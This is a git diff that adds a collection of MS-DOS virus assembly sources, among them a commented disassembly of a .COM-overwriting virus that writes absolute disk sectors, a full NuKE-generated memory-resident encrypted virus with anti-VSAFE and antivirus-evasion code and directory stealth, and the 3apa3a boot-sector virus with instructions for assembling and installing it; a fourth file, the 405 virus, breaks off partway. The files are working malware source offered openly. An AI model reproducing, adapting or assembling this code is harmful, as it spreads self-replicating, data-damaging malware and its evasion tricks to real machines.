[YAM '92] +; June 25, 1992 +; +; The writer of this is unknown to me... maybe you should put some of +; your info in it. +; +; Notes:This virus I found on a board and got right to it. It wasnt +; too hard to disassemble since there was no encryption. Its an +; .com over writing virus. Yes there is ????????exe inside the +; file but I don't know what the hell that is. If you run it it +; only overwrits the com files. It probably get exe files if no +; com files are found. But anyways there seems to be a bug in +; the original virus. Put it in a directory and run it it will +; display crap and crash the computer. With out doing any +; damage. If you want any more info check it out for yourself. +; All i did this time was comment it.. cuz i found this to be a +; boring run of the mill virus. Anyways here it is. +; +;=--------- + +PAGE 59,132 ; I gotta check out + ; what this means... + +data_1e equ 9Eh +data_15e equ 0E000h +data_17e equ 0E17Eh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h + +382 proc far + +start: + jmp short $+2 ; just there to confuse + mov cs:data_4,0 ; actually jumps to here + mov ah,19h ; get default drive + int 21h + mov cs:data_11,al ; save default drive + mov ah,47h ; get present dir of + mov dl,0 ; current drive + lea si,data_13 ; holds directory name + int 21h + clc +loc_1: + jnc loc_2 ; if no error then jump + mov ah,17h ; rename file + lea dx,data_7 ; Load effective addr + int 21h + cmp al,0FFh ; is there an error? + jne loc_2 ; no then jump + mov ah,2Ch ; get current time + int 21h + + mov al,cs:data_11 ; drive + mov bx,dx ; buffer + mov cx,2 ; # of sectors + mov dh,0 ; parm block + int 26h ; Absolute disk write + jmp loc_9 + +loc_2: + mov ah,3Bh ; set the current + lea dx,data_10 ; directory + int 21h + + jmp short loc_6 +loc_3: + mov ah,17h ; rename file + lea dx,data_7 + int 21h + + mov ah,3Bh ; set current directory + lea dx,data_10 + int 21h + + mov ah,4Eh ; find first file + mov cx,11h + lea dx,data_6 ; file type + int 21h + + jc loc_1 ; Jump if carry Set + mov bx,cs:data_4 ; put value in bx + inc bx ; check to see if it is + dec bx ; zero + jz loc_5 +loc_4: + mov ah,4Fh ; find next file + int 21h + + jc loc_1 ; none found then jump + dec bx + jnz loc_4 ; Jump if not zero +loc_5: + mov ah,2Fh ; get dta + int 21h + + add bx,1Ch + mov word ptr es:[bx],5C20h + inc bx + push ds ; save ds + mov ax,es ; putting es into ds + mov ds,ax + mov dx,bx + mov ah,3Bh ; get current dir + int 21h + + pop ds ; get old ds + mov bx,cs:data_4 + inc bx + mov cs:data_4,bx +loc_6: + mov ah,4Eh ; find first file + mov cx,1 + lea dx,data_5 ; type to find + int 21h + + jc loc_3 ; none found then jump + jmp short loc_8 +loc_7: + mov ah,4Fh ; find next file + int 21h + + jc loc_3 ; none found then jump +loc_8: + mov ah,3Dh ; open file + mov al,0 + mov dx,data_1e + int 21h + + mov bx,ax ; file name in bx + mov ah,3Fh ; read file + mov cx,17Eh ; number of bytes + nop + mov dx,data_15e ; buffer to hold the + nop ; bytes + int 21h + + mov ah,3Eh ; close the file + int 21h + + mov bx,cs:data_15e + cmp bx,0EBh + je loc_7 + mov ah,43h ; get attrib + mov al,0 + mov dx,data_1e ; filename + int 21h + + mov ah,43h ; set attrib + mov al,1 + and cx,0FEh + int 21h + + mov ah,3Dh ; open up the file + mov al,2 + mov dx,data_1e ; filename + int 21h + + mov bx,ax ; filename + mov ah,57h ; get files date and + mov al,0 ; time + int 21h + + push cx ; save time + push dx + mov dx,word ptr cs:[23Ch] + mov cs:data_17e,dx + mov dx,word ptr cs:data_15e+1 + lea cx,cs:[13Bh] + sub dx,cx + mov word ptr cs:[23Ch],dx + mov ah,40h ; write to file + mov cx,17Eh ; size of virus [382] + nop + lea dx,ds:[100h] ; Load effective addr + int 21h + + mov ah,57h ; set files time+date + mov al,1 + pop dx ; get old date+time + pop cx + int 21h + + mov ah,3Eh ; close up the file + int 21h + + mov dx,cs:data_17e + mov word ptr cs:[23Ch],dx +loc_9: + call sub_1 + jmp $-3618h + db 0B4h, 4Ch,0CDh, 21h ; bytes to quit + ; mov ax,4c00h + ; int 21 + +382 endp + +sub_1 proc near + mov ah,3Bh ; set current dir + lea dx,data_12 ; holds current + int 21h ; directory + retn +sub_1 endp + +data_4 dw 0 +data_5 db 2Ah + db 2Eh, 63h, 6Fh, 6Dh, 00h +data_6 db 2Ah + db 0 +data_7 db 0FFh + db 00h, 00h, 00h, 00h, 00h, 3Fh + db 00h + db 3Fh + db 7 dup (3Fh) + db 65h, 78h, 65h, 00h, 00h, 00h + db 00h, 00h + db 3Fh + db 7 dup (3Fh) + db 63h, 6Fh, 6Dh, 00h +data_10 db 5Ch + db 0 +data_11 db 4 +data_12 db 5Ch +data_13 db 0 + +seg_a ends + + + + end start + + diff --git a/0-9/386sx16.asm b/0-9/386sx16.asm new file mode 100755 index 0000000..0dc1e60 --- /dev/null +++ b/0-9/386sx16.asm @@ -0,0 +1,454 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +inc word ptr [di] +not byte ptr [di] +sub word ptr [di],0bb4h +xor byte ptr [di],049h +xor word ptr [di],0e373h +sub word ptr [di],0ec3h +add word ptr [di],0e273h +add byte ptr [di],01h +inc word ptr [di] +xor byte ptr [di],02ah +xor word ptr [di],07ab0h +not word ptr [di] +xor byte ptr [di],071h +not byte ptr [di] +xor word ptr [di],0294ah +xor byte ptr [di],0ebh +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +xor byte ptr [di],0ebh +xor word ptr [di],0294ah +not byte ptr [di] +xor byte ptr [di],071h +not word ptr [di] +xor word ptr [di],07ab0h +xor byte ptr [di],02ah +dec word ptr [di] +sub byte ptr [di],01h +sub word ptr [di],0e273h +add word ptr [di],0ec3h +xor word ptr [di],0e373h +xor byte ptr [di],049h +add word ptr [di],0bb4h +not byte ptr [di] +dec word ptr [di] +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;------------------------ +action: ;Nothing Action! +NOP ;only replicate +ret ;Return to call +;------------------------ + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 014H ;day for the action +action_mes Db 02H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/0-9/3APA3A.ASM b/0-9/3APA3A.ASM new file mode 100755 index 0000000..b2269b3 --- /dev/null +++ b/0-9/3APA3A.ASM @@ -0,0 +1,520 @@ +; To assemble, simple run TASM and TLINK on this file and generate a binary. +; The first 512d bytes of the binary will contain the portion of the virus +; which resides in IO.SYS. The second 512d bytes will contain the boot +; section portion of the virus. + +; Installation is slightly more difficult. It requires you to simulate +; an infection with 3apa3a. Read the text above for information. Basically, +; you have to fill in the BPB in the boot sector, fill in the patch values, +; and then move the pieces onto the disk properly. + + .model tiny + .code + .radix 16 + org 0 +; 3apa3a virus +; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14 +zero: +_3apa3a: push cs + call doffset +doffset: pop si + db 83,0EE,4 ; sub si,4 + push si ax bx cx dx ds es + + mov ah,4 ; get date + int 1Ah + + cmp dh,8 ; september? + jne no_activate + + lea bx,cs:[si+message-_3apa3a] + mov ax,0E42 ; begin with B + mov cx,endmessage - message +display_loop: int 10 ; print character + add al,cs:[bx] ; calculate next character + inc bx + loop display_loop + +no_activate: cld + xor ax,ax ; ds = 0 + mov ds,ax + push cs ; es = cs + pop es + lea di,[si+offset old_i13] + push si + mov si,13*4 ; grab old int 13 handler + movsw + movsw + mov ax,ds:413 ; get BIOS memory size + dec ax ; decrease by 2K + dec ax + mov ds:413,ax ; replace the value + mov cl,6 ; convert to paragraphs + shl ax,cl + mov [si-2],ax ; replace interrupt handler + mov word ptr [si-4],offset i13 + mov es,ax ; move ourselves up + push cs + pop ds si + xor di,di + mov cx,200 + push si + rep movsw ; copy now! + inc ch ; cx = 1 + sub si,200 ; copy rest + rep movsw + pop si + push cs es + mov ax,offset highentry + push ax + retf + +highentry: mov ax,7C0 + mov ds,ax + mov word ptr ds:200,201 + mov byte ptr ds:202,80 + les ax,dword ptr cs:203 + mov dx,es + pop es + mov bx,si + mov cx,1 + mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call + call work_on_sectors ; do_i13 + pop es ds dx cx bx ax + retf + +message: db ' ' - 'B' + db 'B' - ' ' + db 'O' - 'B' + db 'O' - 'O' + db 'T' - 'O' + db ' ' - 'T' + db 'C' - ' ' + db 'E' - 'C' + db 'K' - 'E' + db 'T' - 'K' + db 'O' - 'T' + db 'P' - 'O' + db 'E' - 'P' + db ' ' - 'E' + db '-' - ' ' + db ' ' - '-' + db '3' - ' ' + db 'A' - '3' + db 'P' - 'A' + db 'A' - 'P' + db '3' - 'A' + db 'A' - '3' + db '!' - 'A' + db 7 - '!' + db 0Dh - 7 + db 10 - 0Dh +endmessage: + +do_i13: mov ax,ds:200 + mov dl,ds:202 + mov byte ptr cs:patch,0EBh ; jmp absolute + int 13 ; do interrupt + mov byte ptr cs:patch,75 ; jnz + jc retry_error + cld + retn + +retry_error: cmp dl,80 ; first hard drive? + je do_i13 ; if so, retry +go_exit_i13: jmp exit_i13 ; otherwise quit + +i13: push ax bx cx dx si di ds es bp + mov bp,sp + test dl,80 ; hard drive? +patch: jnz go_exit_i13 + + add dh,cl ; check if working on + add dh,ch ; boot sector or + cmp dh,1 ; partition table + ja go_exit_i13 ; if not, quit + + mov ax,cs ; get our current segment + add ax,20 ; move up 200 bytes + mov ds,ax + mov es,ax + mov word ptr ds:200,201 ; set function to read + mov ds:202,dl ; set drive to hard drive + mov bx,400 ; set buffer + xor dx,dx ; read in the boot sector + push dx + mov cx,1 + call do_i13 ; read in boot sector + + cmp byte ptr ds:400+21,2E ; check if 3apa3a already there + je go_exit_i13 + cmp byte ptr ds:400+18,0 + je go_exit_i13 + + push cs + pop es + mov di,203 + mov si,403 + mov cx,1Bh ; copy disk tables + cld + rep movsb + + sub si,200 ; copy the rest + mov cx,1E2 + rep movsb + + inc byte ptr ds:201 ; set to write + mov ax,ds:16 ; get sectors per FAT + mul byte ptr ds:10 ; multiply by # FATs + mov bx,ds:11 ; get number of sectors + mov cl,4 ; occupied by the root + shr bx,cl ; directory + db 83,0FBh,5 ; cmp bx,5 ; at least five? + jbe go_exit_i13 ; if not, quit + + add ax,bx ; + add ax,ds:0E ; add # reserved sectors + dec ax ; drop two sectors to find + dec ax ; start of last sector + xor dx,dx ; of root directory + push ax dx + call abs_sec_to_BIOS + mov ds:patch1-200,cx ; move original boot + mov ds:patch2-200,dh ; sector to the end of the + xor bx,bx ; root directory + call do_i13 + pop dx ax + dec ax + call abs_sec_to_BIOS + + mov ds:34,cx ;patch3 ; write io portion to + mov ds:37,dh ;patch4 + add bh,6 ; bx = 600 + call do_i13 + + push ds + xor ax,ax + mov ds,ax + mov dx,ds:46C ; get timer ticks + pop ds + + mov bl,dl ; eight possible instructions + db 83,0E3,3 ; and bx,3 + push bx + shl bx,1 ; convert to word index + mov si,bx + mov cx,es:[bx+encrypt_table] + pop bx + push bx + mov bh,bl + shr bl,1 ; bl decides which ptr to use + lea ax,cs:[bx+2BBE] ; patch pointer + mov ds:[decrypt-bs_3apa3a],ax ; and start location + add ch,bl + mov ds:[encrypt_instr-bs_3apa3a],cx + add ax,0CF40 + mov ds:[patch_endptr-bs_3apa3a],ax + pop ax + push ax + mul dh + add al,90 ; encode xchg ax,?? + add bl,46 ; encode inc pointer + mov ah,bl + mov ds:[patch_incptr-bs_3apa3a],ax + mov dx,word ptr cs:[si+decrypt_table] + mov word ptr cs:decrypt_instr,dx + pop di + db 83,0C7 ;add di,XX ; start past decryptor + dw bs_3apa3a_decrypt - bs_3apa3a + org $ - 1 + mov si,di + push ds + pop es + mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt + mov ah,al +encrypt_loop: lodsb +decrypt_instr: add al,ah + stosb + loop encrypt_loop + + pop dx + mov cx,1 ; write the replacement + xor bx,bx ; boot sector to the disk + call do_i13 +exit_i13: mov sp,bp + pop bp es ds di si dx cx bx ax + db 0EAh +old_i13 dw 0, 0 + +decrypt_table: not al + sub al,ah + add al,ah + xor al,ah + +encrypt_table dw 014F6 ; not + dw 0480 ; add + dw 2C80 ; sub + dw 3480 ; xor +; This marks the end of the IO.SYS only portion of 3apa3a + +; The boot sector portion of 3apa3a follows. + + adj_ofs = 7C00 + zero - bs_3apa3a + +bs_3apa3a: jmp short decrypt + nop + ; The following is an invalid boot sector. Replace it with + ; yours. + db ' ' + + db 00, 00, 00, 00, 00, 00 + db 00, 00, 00, 00, 00, 00 + db 00, 00, 00, 00, 00, 00 + db 00 + +decrypt: db 0BF ; mov di, + dw adj_ofs + bs_3apa3a_decrypt +decrypt_loop: db 2e ; cs: +encrypt_instr label word + db 80,2Dh ; sub byte ptr [di],XX +patch_incptr label word + db 0 ; temporary value for cryptval + inc di + db 81 ; cmp +patch_endptr label word + db 0ff ; pointer + dw adj_ofs + end_crypt + jne decrypt_loop +bs_3apa3a_decrypt = $ - 1 + jmp short enter_bs_3apa3a + nop + +load_original: xor dx,dx ; set up the read + mov es,dx ; of the original boot sector + db 0B9 ; mov cx, XXXX +patch3 dw 3 + db 0B6 +patch4 db 1 + mov bx,ds ; es:bx = 0:7C00 + mov ax,201 + db 0ebh ; jump to code in stack + dw bs_3apa3a - 4 - ($ + 1) + + org $ - 1 + +enter_bs_3apa3a:cli + xor ax,ax + mov ss,ax ; set stack to just below us + mov sp,7C00 + sti + mov dl,80 ; reset hard drive + int 13 + + mov ax,2F72 ; encode JNZ load_original at + ; 7BFE + mov ds,sp ; set segment registers to + mov es,sp ; 7C00 + push ax + mov word ptr ds:200,201 ; do a read + mov ds:202,dl ; from the hard drive + xor bx,bx ; read to 7C00:0 + mov dh,1 ; read head 1 + mov cx,1 ; read sector 1 + ; (assumes active boot + ; sector is here) + mov ax,13CDh ; encode int 13 at 7BFC + push ax + call exec_int13 ; do the read + mov bx,203 + cmp byte ptr [bx-4],0AA ; is it valid bs? +jnz_load_original: + jne load_original ; if not, assume infected and + ; transfer control to it + mov ax,ds:13 ; get number of sectors in + dec ax ; image - 1 + cmp ax,5103 ; hard drive too small? (5103h + jbe load_original ; sectors ~ 10.6 megs) + mov ax,ds:1C ; get number hidden sectors + add ax,ds:0E ; add number reserved sectors + mov ds:9,ax ; store at location that holds + ; the end of OEM signature + add ax,ds:16 ; add sectors per FAT + dec ax ; go down two sectors + dec ax + push ax + xor dx,dx + mov cx,dx + call work_on_sectors ; load end of FAT to 7C00:203 + mov ax,ds:16 ; get sectors per FAT + push ax ; save the value + mul byte ptr ds:10 ; multiply by # FATs + add ax,ds:9 ; calculate start of root dir + mov ds:7,ax ; store it in work buffer + mov cl,4 + mov si,ds:11 ; get number sectors the + shr si,cl ; root directory takes + add si,ax ; and calculate start of data + mov ds:5,si ; area and store it in buffer + call work_on_sectors ; get first 5 sectors of the + ; root directory + test byte ptr ds:403+0Bh,8 ; volume label bit set on first + ; entry? (infection marker) +jne_load_original: ; if so, already infected, so + jnz jnz_load_original ; quit + xor si,si + mov bx,1003 + mov ax,ds:403+1A ; get starting cluster number + ; of IO.SYS +read_IO_SYS: push ax ; convert cluster to absolute + call clus_to_abs_sec ; sector number + call work_on_sector ; read in one cluster of IO.SYS + inc si + pop ax + + push bx ax + mov bx,403+0A00 ; read into this buffer + push bx + mov al,ah ; find the sector with the FAT + xor dx,dx ; entry corresponding to this + mov ah,dl ; cluster + add ax,ds:9 + call work_on_sectors ; read in the FAT + pop bx ax + mov ah,dl + shl ax,1 + mov di,ax + mov ax,[bx+di] ; grab the FAT entry (either EOF + ; or next cluster number) + pop bx ; corresponding to this cluster + cmp ax,0FFF0 ; is there any more to read? + jb read_IO_SYS ; if so, keep going + + inc byte ptr ds:201 ; change function to a write + pop cx + dec cx + dec cx + mov ds:4,cl + mov di,401 ; scan the end of the FAT + mov cx,100 + mov bp,-1 +copy_IO_SYS: xor ax,ax ; look for unused clusters + repne scasw + jnz jne_load_original + mov [di+2],bp + mov bx,cx + mov bh,ds:4 + mov bp,bx ; save starting cluster of + push bp cx ; where IO.SYS will be moved + mov ah,ds:0Dh + shl ax,1 + dec si + mul si + mov bx,ax + add bx,1003 + mov ax,bp + call clus_to_abs_sec + call work_on_sector ; move IO.SYS to end of HD + pop cx bp + or si,si + jnz copy_IO_SYS + + mov si,0DE1 ; move all but the first two + mov di,0E01 ; directory entries down one + mov cx,4D0 ; (10 dir entries / sector, + rep movsw ; 5 sectors) + ; DF set by exec_int13 + mov si,421 ; move IO.SYS entry down two + mov cx,10 ; entries + rep movsw + + mov ds:400+2*20+1Dh,bp ; set starting cluster of the + ; moved original IO.SYS + or byte ptr ds:40E,8 ; set volume label bit on first + ; IO.SYS entry + mov bx,403 ; point to root directory + mov ax,ds:7 ; get starting cluster of + xor dx,dx ; root dir + mov cl,4 + call work_on_sectors ; write updated root directory + pop ax ; to the disk +write_FATs: mov bx,203 ; point to the updated FAT + call work_on_sectors ; write changed end of FAT + + dec ax + add ax,ds:16 ; add sectors per FAT + dec byte ptr ds:10 ; processed all the FATs? + jnz write_FATs + + mov ax,bp + call clus_to_abs_sec + mov cs:7C03,ax ; store the values + mov cs:7C05,dx + mov byte ptr cs:7C01,1Ch + + xor ax,ax ; reset default drive + mov dx,ax + int 13 + + mov ax,201 ; read in original boot sector +; You must patch the following values if you are installing 3apa3a on a disk + db 0b9 ; mov cx, XXXX +patch1 dw 0 + db 0b6 ; mov dh, XX +patch2 db 0 + mov bx,0E03 + call perform_int13 + + mov ax,ds:403+1A ; get starting cluster number + call clus_to_abs_sec ; of IO.SYS + xor cx,cx + call work_on_sectors + mov bx,ds + mov es,cx + call work_on_sectors +go_load_original: + jmp load_original + +exec_int13: mov ax,ds:200 ; get function from memory + mov dl,ds:202 ; get drive from memory +perform_int13: int 13 + jc go_load_original + std + retn + +work_on_sectors:inc cx +work_on_sector: push cx dx ax + call abs_sec_to_BIOS + call exec_int13 + pop ax dx cx + add ax,1 ; calculate next sector + db 83,0D2,0 ; adc dx,0 ; (don't use INC because + add bh,2 ; INC doesn't set carry) + loop work_on_sector ; do it for the next sector + + retn + +abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track + mov cx,dx + inc cl + xor dx,dx + div word ptr ds:1A ; divide by number of heads + ror ah,1 + ror ah,1 + xchg ah,al + add cx,ax + mov dh,dl + retn + +clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster + xor ch,ch ; (convert to word) + dec ax + dec ax + mul cx ; convert cluster number to + add ax,ds:5 ; absolute sector number +end_crypt: db 83,0D2,0 ; adc dx,0 + retn + + dw 0AA55 ; boot signature + + end _3apa3a + diff --git a/0-9/405.ASM b/0-9/405.ASM new file mode 100755 index 0000000..34c7347 --- /dev/null +++ b/0-9/405.ASM @@ -0,0 +1,177 @@ +;405 virus +;disassembled 10th March 1991 by Fred Deakin. +; + +start: + xchg si,ax ;96 }marker bytes ? + add [bx+si],al ;00 00 } + sahf ;9e } + add [bx+si],al ;00 00 } + nop ;90 } + mov ax,0000h ;clear ax + mov byte es:[drive],al ;default drive? + mov byte es:[dir_path],al ;clear first byte in directory path + mov byte es:[l_drvs],al ;clear logical drives + push ax ;save ax + mov ah,19h ;get current drive + int 21h ;call msdos + mov byte es:[drive],al ;and save + mov ah,47h ;get directory path + add al,01h ;add 1 to drive code + push ax ;and save + mov dl,al ;move drive code to dl + lea si,[dir_path] ;si=offset address of directory buffer + int 21h ;call msdos + pop ax ;get back drive code + mov ah,0eh ;set default drive + sub al,01h ;subtract and get logical drive + mov dl,al ;drive wanted + int 21h ;call msdos + mov byte es:[l_drvs],al ;store how many logical drives +l0139: + mov al,byte es:[drive] ;get default drive + cmp al,00h ;drive a:? + jnz l0152 ;if not jump forward + mov ah,0eh ;set default drive + mov dl,02h ;drive c: + int 21h ;call msdos + mov ah,19h ;get current drive + int 21h ;call msdos + mov byte es:[c_drv],al ;and save + jmp l0179 ;jump forward + nop ;no operation +l0152: + cmp al,01h ;drive b:? + jnz l0167 ;jump forward if not + mov ah,0eh ;set default drive + mov dl,02h ;to drive 